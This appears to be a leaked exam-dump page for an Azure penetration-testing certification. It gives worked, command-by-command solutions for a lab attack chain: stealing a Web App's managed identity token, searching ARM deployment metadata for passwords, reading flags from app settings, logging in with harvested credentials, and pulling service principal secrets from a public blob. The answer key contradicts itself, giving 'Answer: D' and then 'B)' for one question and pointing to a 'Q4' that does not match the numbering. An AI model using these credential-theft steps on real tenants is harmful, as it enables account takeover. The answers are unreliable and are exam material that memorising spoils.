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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Post-Exploitation & Persistence | 15% | - Full attack chain demonstration - Maintaining persistent access - Defense evasion in Azure environment - Data collection and exfiltration techniques |
| Topic 2: Initial Access | 20% | - Exposed secrets and configuration flaws - Token and session abuse - Consent phishing and application abuse - Password spraying and credential stuffing |
| Topic 3: Privilege Escalation | 25% | - Service Principal and App Registration attacks - Entra ID role and permission abuse - Key Vault and secret management misconfigurations - Managed Identity exploitation |
| Topic 4: Reconnaissance & Enumeration | 20% | - Azure resource discovery - Entra ID (Azure AD) enumeration - DNS, endpoints, and exposed services mapping - Azure tenant and domain enumeration |
| Topic 5: Lateral Movement & Tenant Compromise | 20% | - Cross-resource and subscription hopping - Compute, storage, and network pivoting - API and Azure management endpoint exploitation - Hybrid identity and on-prem integration abuse |
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NEW QUESTION # 13
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 14
You've gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list \
--name RnD-Tools \
--resource-group Excalibur-Resources \
--output json
Look for keys such as:
Flag
secret
password
token
connectionString
clientSecret
The exposed app setting contains:
{
" name " : " Flag " ,
" slotSetting " : false,
" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "
}
Final answer:
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
NEW QUESTION # 15
You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?
Answer: D
Explanation:
Detailed Solution:
Log in using the credential recovered in Q4.
az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > ' Confirm the current signed-in user:
az ad signed-in-user show --output json
Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--output json
To display only role names:
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--query " value[].displayName " \
--output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator
NEW QUESTION # 16
You discover a storage account named prodreportstore01. Determine whether public blob access is enabled on the storage account.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
allowBlobPublicAccess: true
Detailed Solution:
Run:
az storage account show \
--name prodreportstore01 \
--resource-group rg-prod-apps-eastus \
--query " {Name:name,AllowBlobPublicAccess:allowBlobPublicAccess} " \
--output json
Expected output:
{
" Name " : " prodreportstore01 " ,
" AllowBlobPublicAccess " : true
}
This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.
NEW QUESTION # 17
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
Answer: D
Explanation:
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
NEW QUESTION # 18
......
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